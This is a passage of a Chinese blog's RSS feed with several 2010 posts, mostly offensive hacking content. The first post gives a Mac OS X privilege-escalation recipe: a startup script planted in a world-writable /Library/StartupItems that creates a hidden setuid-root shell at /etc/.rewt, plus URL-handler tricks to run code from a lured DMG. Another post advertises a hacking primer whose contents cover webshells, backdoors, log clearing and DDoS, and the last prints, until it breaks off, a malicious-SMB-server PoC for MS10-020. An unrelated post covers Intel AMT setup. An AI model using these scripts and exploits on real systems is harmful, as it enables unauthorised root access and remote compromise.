%&nbsp;</span><wbr></wbr><span style="color: #339966"> ^&nbsp;</span><wbr></wbr><span style="color: #339966"> &amp;&nbsp;</span><wbr></wbr><span style="color: #339966"> *&nbsp;</span><wbr></wbr><span style="color: #339966"> (&nbsp;</span><wbr></wbr><span style="color: #339966"> )&nbsp;</span><wbr></wbr><span style="color: #339966"> +&nbsp;</span><wbr></wbr><span style="color: #339966"> =&nbsp;</span><wbr></wbr><span style="color: #339966"> -&nbsp;</span><wbr></wbr><span style="color: #339966"> _&nbsp;</span><wbr></wbr><span style="color: #339966"> }&nbsp;</span><wbr></wbr><span style="color: #339966"> {&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"><br />%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1</font></span></p><p><font style="font-size: 12px" color="#ff0000">当你用这个密码，你就可以启动到单用户模式或重启到你自己的MP3/MP4上存储的操作系统。</font></p><p><font style="font-size: 12px" color="#ff0000"><br />恶意启动项目的利用<br />~~~~~~~~~~~~~~~~~~~~~<br />如果/Library/StartupItems目录没有被创建，对于某些软件则需要创建它，以便机器重启时能够运行程序。这些脚本由root运行。往往写得不好的软件在安装时将创建到此目录中，并允许任何用户使用该目录中的文件。人们可以编写一个恶意脚本，删除该目录，重启计算机，并能够以root身份执行脚本。</font></p><p><font style="font-size: 12px">ls -al /Library/StartupItems/<br />total 0<br />drwxrwxrwx 3&nbsp;<wbr></wbr> root admin 102&nbsp;<wbr></wbr> 25 Apr 12:15 .<br />drwxrwxr-x 39 root admin 1326 26 Apr 09:28 ..</font></p><p><font style="font-size: 12px" color="#ff0000">如你所见，该目录的模式是chmod 777 &mdash;&mdash;这意味着我们可以对它写入文件。在此目录中，写一个相同名称的shell脚本作为目录所包含的文本：</font></p><p><font style="font-size: 12px">#!/bin/sh<br />cp /bin/sh /etc/.rewt<br />chown root /etc/.rewt<br />chmod 4755 /etc/.rewt</font></p><p><font style="font-size: 12px" color="#ff0000">然后，访问的StartupParameters.plist所包含的文本如下：<br /></font><font style="font-size: 12px">{<br />&nbsp;<wbr></wbr>Description = &quot;NameOfScript&quot;;<br />&nbsp;<wbr></wbr>Provides = (&quot;NameOfScript&quot;);<br />&nbsp;<wbr></wbr>OrderPreference = &quot;None&quot;;<br />}</font></p><p><font style="font-size: 12px" color="#ff0000">下次重启机器，它会执行你写好的shell脚本。这个特殊的脚本将在/etc/.rewt里面建立一个suid root。</font></p><p><font style="font-size: 12px" color="#ff0000"><br />URL处理程序漏洞利用<br />~~~~~~~~~~~~~~~~~~~~~~<br />有一些Mac OS X安全问题与URL处理有关。<br />通过这些技巧，你能够在受害者机器中执行代码，加载任何Web链接。<br />其基本思路是引诱用户下载并安装一个DMG文件，然后尝试运行DMG文件中存储的代码。</font></p><p><font style="font-size: 12px" color="#ff0000">你可以编写一个HTML文件，通过Javascript或一个meta刷新标记自动重定向到一个特定的URL。</font></p><p><font style="font-size: 12px" color="#ff0000">DMG文件内容可以包含一个特制的应用程序调用Fun.app，它可以自动打开一个新的URL处理程序。</font></p><p><font style="font-size: 12px" color="#ff0000">其它有趣的还有：x-man-page://、</font><font style="font-size: 12px" color="#ff0000">telnet://</font><font style="font-size: 12px" color="#ff0000">、ssh://、ical://、addressbook://、itms://、mms://等等。</font></p><p><font style="font-size: 12px" color="#ff0000"><br />尾声<br />~~~~~~~<br />本文上述的利用方案并不是所有，包括过去数年的漏洞攻击并没有提及到。如果你需要针对的是远程系统执行入侵任务，那么，你需要更多的思路进行研究，它也存在着更多的灵活性和窍门可以提供我们应用，我们需要积极地发掘它们。对于它仍有其它疑问，请写信件发送至我的Email（Hack01[at]Live.cn）。</font></p><p>&nbsp;<wbr></wbr></p><p><font style="font-family: Verdana; font-size: 12px" color="#ff0000"># HACKER NETSPY [CZY]</font></p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=299</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=299&amp;key=73f04898</trackback:ping></item><item><title>X200的AMT 不开机远程控制方法</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Wed, 28 Apr 2010 11:35:34 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>我的笔记本支持 VPRO 技术，一直不知怎么使用，今天听人讲到其中的&nbsp;AMT 可以远程管理的控制，可以在机器没有开机的时候就控制，这个功能实在不错。所以特地研究了一下。</p><p>这个功能对企业相当不错，简单来讲就是可以通过这个技术来远程管理和修复联网的计算机系统，因为 Intel AMT 是自动执行一个独立于操作系统的子系统，正是由于有了独立于操作系统的环境，使得在操作系统出现故障的时候，管理员能够在远程监视和管理客户端。通过这项原本专属于服务器应用领域的技术，未来的个人电脑将可以在操作系统损毁或系统出现故障的时候进行远程管理和检测系统，或是系统发生错误时主动发出警告信息，进行软硬件检查、远端更新BIOS、病毒码及操作系统，甚至在系统关机的时候，也可以通过网络进行管理工作，对企业用户而言，可大幅降低管理成本。</p><p><img alt="" src="http://www.smxiaoqiang.cn/upload/image/x200amt.gif" /></p><p>使用时有几点要注意:</p><p>1. 如果使用动态 IP 网络 (DHCP)，则 Intel AMT 主机名与操作系统主机名必须匹配。此外，还必须配置操作系统和 Intel AMT 的DHCP。</p><p>2. 如果使用静态 IP 网络，则 Intel AMT IP 地址不得与操作系统 IP 地址相同。此外， Intel AMT 主机名也不得与操作系统主机名相同。</p><p>3. 默认的密码为 admin 第一次进入时会让你使用新的密码，新的密码要有特别的符号，字母大小写，数字都要有。</p><p>4. X200 是使用 F12 进入进行 AMT 的设置。打开 Web Gui 的地址是 http://IP:16992</p><p>&nbsp;</p><p>下面有个详细的设置，是 DELL 的不过 ThinkPad 的设置内容和这个的一样。</p><p><a href="http://supportapj.dell.com/support/edocs/systems/xlob/iAMT/cs/index.htm">http://supportapj.dell.com/support/edocs/systems/xlob/iAMT/cs/index.htm</a></p><p><a href="http://pcbbs.enet.com.cn/thread-5814-1-1.html">http://pcbbs.enet.com.cn/thread-5814-1-1.html</a><br />&nbsp;</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=298</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=298&amp;key=148ee4bb</trackback:ping></item><item><title>黑客攻击实战入门</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Tue, 20 Apr 2010 13:54:22 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>书名：《<a target="_blank" href="http://www.smxiaoqiang.cn/blog/297.html">黑客攻击实战入门</a>》&nbsp;&nbsp;&nbsp; 作者：BlAck.Eagle &amp;&amp;冰Sugar</p><p>状态：上市&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />简介：</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本书是一本windows平台下渗透技术的入门书籍，作为一本计算机爱好者深入浅出的书籍，门槛低，所以称之为入门书籍。现在，作为渗透攻防入门书籍并不是很多，即便有了，书上内容所使用的工具也有所过时，本书牵涉到的漏洞以及工具实用性非常强。</p><p>为了给予读者朋友更好的知识盛宴，笔者尝试着囊括近几年来最流行的攻击手法。但是技术永远是进步的，很多东西还是需要读者自己去挖掘，但这本书足以概括了攻击层次的大体知识，也不乏很多新鲜技巧。读者朋友们无需掌握许多乏味的基础知识以及基本概念即可掌握该书的绝大部分内容，笔者会从实战的角度来对枯燥的理论知识释疑，引领大家走完这本书的征程。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>●涉及内容：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网络基础知识、信息收集、缓冲区溢出知识、拒绝服务、数据库攻防、 Web漏洞发掘、内网渗透、后门技术等&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />●适合读者：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />1、对渗透攻防技术感兴趣的朋友&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />2、网络爱好者&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />3、网管人员&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />4、想拓展安全知识的技术相关人员</p><p>●序：</p><p>静谧夜空，星满苍穹，广袤大地被月光擦拭得那样清澈，散发着童话般的馨香。如此美的夜，充满着浪漫和陶醉，可在黑客技术旅者的眼中，却是那样朴素而平常。</p><p><br />萤火 学海无涯苦坐舟</p><p>草长莺飞的旷野，他们像是坠落草原的星辰，简约沉默，却在寒夜中闪烁着坚强的光。是萤火虫，抑或是我？同样的苦旅，相似的激情，狂热地燃烧自己的生命，点滴耗尽，为成就理想和真实之约而顽强殉道，断不言悔。</p><p>萤火虫，就是黑客的憧憬与痴愿之灵。</p><p><br />精灵 玉楼明月长相忆</p><p>用盛开的清秀染绿古道清泉，让似火的霓裳绽放山涧寂静。有时，会化作一抹嫣然的绿，为寒冬打开温暖的希望，抑或，曾经是一方淡雅红叶，飘进晚秋的深邃。激情时，似盛夏清风，拥柔裹香飞抵万里云天。忧伤处，是婉约古城，秀美惟存，却从此冷漠沉寂。</p><p>正因是如此幻美，黑客技术才若精灵般散发着致命的诱惑，为身后万千萤火苦苦追求。</p><p><br />书卷 千呼万唤始出来</p><p>万千承载，凝结一部书卷。也许它不是开启精灵少女心扉的钥匙，或许也不能令技术古城之旅温馨坦途，甚或，会让你从此就在兰菊落英中怅然悟道。然而，它在萤火虫瞬息的生命里，却为通向对技术执着的痴爱时空架起了一座伟岸的浮桥。</p><p>萤火书卷&mdash;&mdash;技术与狂热的基线，让我们的精灵爱旅，从这里开始。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 此致</p><p>苦夜共勉</p><p><br />[E.S.T]冰血封情</p><p>庚寅年正月三十黄昏题于洛辰小筑亦岚轩</p><p>●封面(很多人说封面很邪恶，但是我没办法啊！........)：</p><p>目录：</p><p>第一章 黑客必备基础知识</p><p>1.1&nbsp; 渗透前述</p><p>1.1.1 木马分类小述</p><p>1.1.2 区分内网和外网</p><p>1.1.3 代理技术概述</p><p>1.1.4 熟悉跳板代理</p><p>1.1.5 Windows权限</p><p>1.1.6 通过手工添加系统服务</p><p>1.2　常用网络命令概述</p><p>1.2.1 ping命令</p><p>1.2.2 net及netstat命令</p><p>1.2.3 telnet及ftp命令</p><p>1.2.4 tracert命令</p><p>1.2.5 Echo命令</p><p>1.2.6 ipconfig命令</p><p>1.2.7 arp命令</p><p><br />第二章 入侵前的信息收集</p><p>2.1 网站信息收集</p><p>2.1.1 google基本语法及利用</p><p>2.1.2 google搜索信息及渗透攻击实例</p><p>2.1.3 网站目录结构探测</p><p>2.2&nbsp; 服务器信息收集</p><p>2.2.1 常见端口和服务探测</p><p>2.2.2 Nmap应用及实例</p><p>2.2.3 常见弱口令类型</p><p>2.2.4 模拟Tomcat弱口令攻击</p><p>2.2.5 模拟HScan对FTP弱口令攻击</p><p><br />第三章 轻松掌握缓冲区溢出攻击</p><p>3.1 浅析缓冲区溢出漏洞</p><p>3.1.1 初识shellcode及exploit</p><p>3.1.2 如何编译Exploit程序</p><p>3.1.3 远程及本地溢出</p><p>3.1.4 国外最著名的入侵工具Metaspolit</p><p><br />第四章 傻瓜式的拒绝服务攻击技术</p><p>4.1 拒绝服务攻击概述</p><p>4.1.1 什么是拒绝服务</p><p>4.1.2 拒绝服务攻击者的动机</p><p>4.2 分布式拒绝服务攻击概述</p><p>4.2.1 DDoS的攻击原理</p><p>4.2.2 DDoS攻击的类型</p><p>4.2.3 DoS和DDoS有什么区别</p><p>4.3 基于页面的DDoS&mdash;&mdash;CC攻击</p><p>4.3.1 什么是CC攻击</p><p>4.3.2 CC攻击与DDoS攻击的区别</p><p>4.4 CC攻击实例</p><p>4.4.1 获取大量的代理服务器</p><p>4.4.2 验证代理的有效性</p><p>4.4.3 开始CC攻击</p><p>4.5 使用WAS对网站进行压力测试</p><p><br />第五章 网站攻击基础</p><p>5.1 Web渗透概述</p><p>5.2 Web常见的攻击方式</p><p>5.3&nbsp;&nbsp; Web服务器出错消息分析</p><p>5.3.1　Http基础</p><p>5.3.2　出错分析</p><p>5.4&nbsp; 数据库概述</p><p>5.4.1 SQL2000的安装</p><p>5.4.2 MySQL5.x安装</p><p>5.4.3 oracle 10g安装</p><p>5.5 SQL语言基础</p><p>5.5.1 SQL创建数据表</p><p>5.5.2 SQL数据查询</p><p>5.5.3 SQL数据插入</p><p>5.5.4 SQL数据更新</p><p>5.5.5 SQL数据删除</p><p>5.6 SQL数据库注入</p><p>5.6.1 SQL数据库注入原理篇</p><p>5.6.2 注入渗透利器</p><p>5.7 攻击Access数据库</p><p>5.7.1 Access暴库</p><p>5.7.2　暴库的防范</p><p>5.7.3　Access数据库其他软肋</p><p>5.8 熟悉mssql2000中的权限</p><p>5.9 Asp+Access数据库注入流程<br />&nbsp;</p><p>第六章 数据库渗透技巧</p><p>6.1 后台高级webshell获取技巧</p><p>6.2　入侵实例应用</p><p>6.2.1　图片备份</p><p>6.2.2　NC上传提交</p><p>6.2.3　后台网站配置</p><p>6.3　攻击SQL Server数据库</p><p>6.3.1 高级SA权限攻击技巧及实例</p><p>6.3.2 网站绝对路径获取技巧</p><p>6.3.3 SA权限下的webshell获取技巧</p><p>6.3.4 基于db_owner权限的webshell获取</p><p>6.3.5 启动项隐患</p><p>6.3.6 伪造注入点渗透</p><p>6.3.7 group By及Having操作符</p><p>6.3.8&nbsp; 反弹注入</p><p>6.3.9&nbsp;&nbsp; public权限下的渗透思路</p><p>6.4 攻击mysql数据库</p><p>6.4.1 order by及unoin select操作符</p><p>6.4.2 concat_ws()函数</p><p>6.4.3 php+mysql注入</p><p>6.4.4 mysql5.0注入技巧</p><p>6.4.5 phpmyadmin下webshell获取技巧</p><p>6.4.6　绕过防注入</p><p>6.4.7　实战php注入攻击</p><p>6.4.8 不容小觑的install和setup目录</p><p>6.5 Mysql提权技巧</p><p>6.5.1 mix.dll和udf.dll权限提升</p><p>6.5.2 Mysql BackDoor权限提升</p><p>6.5.3 mysql其它的技巧</p><p>6.6 攻击oracle数据库</p><p>6.6.1 Oracle 9i弱口令渗透韩国肉鸡</p><p>6.6.2 Oracle注入实战</p><p>6.6.3 UTL_HTTP反弹注入实例</p><p><br />第七章 Web常见漏洞大观</p><p>7.1 IIS漏洞</p><p>7.1.1 IIS写权限漏洞利用</p><p>7.1.2 IIS6.0文件名解析漏洞</p><p>7.1.3 IIS6.0漏洞结合CMS利用技巧</p><p>7.2 Web常见编辑器漏洞</p><p>7.2.1 Ewebeditor漏洞小述</p><p>7.2.2 实战ewebeditor的jsp版</p><p>7.2.3 Cuteeditor漏洞小结</p><p>7.2.4 fckeditor终极利用</p><p>7.3 Apache漏洞</p><p>7.4 Tomcat漏洞</p><p>7.5 Asp常见漏洞解析</p><p>7.5.1 ASP注入漏洞</p><p>7.5.2&nbsp;&nbsp; Cookies欺骗漏洞分析及利用</p><p>7.5.3 上传漏洞小述</p><p>7.5.4 XSS漏洞</p><p>7.5.5 程序漏洞分析举例</p><p>7.5.6 程序漏洞分析举例二</p><p>7.6 Php常见漏洞解析</p><p>7.6.1 php中的注入</p><p>7.6.2 PHP上传漏洞</p><p>7.6.3 远程/本地文件包含漏洞</p><p>7.7 Jsp常见漏洞解析</p><p>7.7.1 Jdk+Tomcat环境的搭建</p><p>7.7.2 Jsp注入漏洞</p><p>7.7.3 实践上传漏洞</p><p>7.7.4 后台权限验证漏洞</p><p><br />第八章 终极较量之系统提权</p><p>8.1 提权前的信息初探</p><p>8.2 计算机的环境变量提权</p><p>8.3 提权中的文件传输</p><p>8.4 如何开启3389远程终端服务</p><p>8.5 替换服务提权</p><p>8.6 Serv-U提权技术</p><p>8.7 剖析G6ftp提权</p><p>8.8 Flashfxp和leapftp的提权</p><p>8.9 pcAnywhere提权技巧</p><p>8.10 Radmin提权</p><p>8.11 VNC提权技巧</p><p>8.12 NetBox和Magic Winmail的提权</p><p>8.13 禁用NET程序的提权</p><p>8.14 CMD程序保护的提权</p><p>8.15 提权实例演示</p><p><br />第九章 让黑客无形的后门技术</p><p>9.1 系统日志的清除</p><p>9.1.1 手工清除日志</p><p>9.1.2 工具清除日志</p><p>9.2 后门技术概述</p><p>9.2.1 命令行后门</p><p>9.2.2 帐号后门</p><p>9.2.3 高级Rootkit隐匿帐号技术</p><p>9.3 服务后门</p><p>9.4 木马程序后门</p><p>9.5 密码截取</p><p>9.5.1 终端密码的获取&mdash;&mdash;WinlogonHack的应用</p><p>9.5.2 其它密码记录工具</p><p>9.6 默认热键后门</p><p>9.6.1 粘滞键后门</p><p>9.6.2 放大镜后门</p><p>9.7 web下的后门</p><p>9.7.1 shell下的常用组件</p><p>9.7.2 web木马隐藏技巧</p><p>9.7.3 web木马躲过杀软</p><p><br />第十章 内网入侵全接触</p><p>10.1 了解计算机工作组和域</p><p>10.1.1 熟悉网络拓扑</p><p>10.1.2 Hash值的破解</p><p>10.2 端口转发原理及实例</p><p>10.3 reDuh应用技巧</p><p>10.4 内网不能忽视的经典IPC$</p><p>10.5 SocksCap内网渗透技术</p><p>10.6 内网渗透实例<br />&nbsp;</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=297</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=297&amp;key=a123f064</trackback:ping></item><item><title>Windows 7/2008R2 SMB Client Trans2 Stack Overflow 10-020 PoC</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Sun, 18 Apr 2010 14:44:27 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>import sys,SocketServer</p><p># Windows 7/2008R2 SMB Client Trans2 stack overflow (MS10-020)<br /># Date: 17/04/10<br /># Author: Laurent Gaffi&eacute;<br /># Tested on: Windows 7/2008R2<br /># CVE: CVE-2010-0270</p><p><br />EBP = &quot;\x42\x42\x42\x42&quot;<br />EIP = &quot;\x41\x41\x41\x41&quot;</p><p><br />packetnego = (<br />&quot;\x00\x00\x00\x55&quot;<br />&quot;\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00&quot;<br />&quot;\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00&quot;<br />&quot;\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01&quot;<br />&quot;\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b&quot;<br />&quot;\xcf\xb0\x8c\x8d\xaf&quot;<br />)</p><p>packetsession = (<br />&quot;\x00\x00\x01\x3d&quot;<br />&quot;\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00&quot;<br />&quot;\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53&quot;<br />&quot;\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15&quot;<br />&quot;\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00&quot;<br />&quot;\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02&quot;<br />&quot;\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01&quot;<br />&quot;\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04&quot;<br />&quot;\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e&quot;<br />&quot;\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63&quot;<br />&quot;\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b&quot;<br />&quot;\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e&quot;<br />&quot;\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01&quot;<br />&quot;\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00&quot;<br />&quot;\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00&quot;<br />&quot;\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00&quot;<br />&quot;\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00&quot;<br />&quot;\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00&quot;<br />&quot;\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00&quot;<br />)</p><p>packetsession2 = (<br />&quot;\x00\x00\x00\x75&quot;<br />&quot;\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00&quot;<br />&quot;\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00&quot;<br />&quot;\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00&quot;<br />&quot;\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00&quot;<br />&quot;\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00&quot;<br />&quot;\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00&quot;<br />&quot;\x65\x00\x72\x00\x00&quot;<br />)</p><p>packetree = (<br />&quot;\x00\x00\x00\x38&quot;<br />&quot;\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00&quot;<br />&quot;\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07&quot;<br />&quot;\x00\x49\x50\x43\x00\x00\x00\x00&quot;<br />)</p><p><br />packetntcreate = (<br />&quot;\x00\x00\x00\x87&quot;<br />&quot;\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00&quot;<br />&quot;\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00&quot;<br />&quot;\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br />&quot;\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12&quot;<br />&quot;\x00\x9b\x01\x12\x00\x00\x00&quot;<br />)</p><p>packetrans = (<br />&quot;\x00\x00\x00\x5a&quot;<br />&quot;\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00&quot;<br />&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00&quot;<br />&quot;\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff&quot;<br />&quot;\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00&quot;<br />&quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56&quot;<br />&quot;\x02\x61&quot;+EBP+EIP<br />)</p><p>class SMB1(SocketServer.BaseRequestHandler):<br />&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; def server_bind(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.socket.bind(self.server_address)</p><p>&nbsp;&nbsp;&nbsp; def handle(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while True:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;From:&quot;, self.client_address<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = self.request.recv(1024)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ##Negotiate Protocol Response<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if data[8] == &quot;\x72&quot;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.request.send(packetnego)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print &quot;Negotiate Response sent\n&quot;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ##Session Setup AndX Response, 